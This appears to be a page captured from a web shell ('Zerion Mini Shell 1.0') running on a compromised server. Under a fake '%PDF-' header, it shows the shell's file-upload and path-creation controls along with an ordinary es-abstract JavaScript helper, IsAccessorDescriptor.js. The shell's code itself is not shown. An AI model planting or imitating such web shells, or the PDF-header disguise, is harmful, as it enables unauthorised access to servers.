%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/node_modules/es-abstract/5/
Upload File :
Create Path :
Current File : //var/www/html/node_modules/es-abstract/5/IsAccessorDescriptor.js

'use strict';

var has = require('has');

var Type = require('./Type');

var assertRecord = require('../helpers/assertRecord');

// https://262.ecma-international.org/5.1/#sec-8.10.1

module.exports = function IsAccessorDescriptor(Desc) {
	if (typeof Desc === 'undefined') {
		return false;
	}

	assertRecord(Type, 'Property Descriptor', 'Desc', Desc);

	if (!has(Desc, '[[Get]]') && !has(Desc, '[[Set]]')) {
		return false;
	}

	return true;
};

Zerion Mini Shell 1.0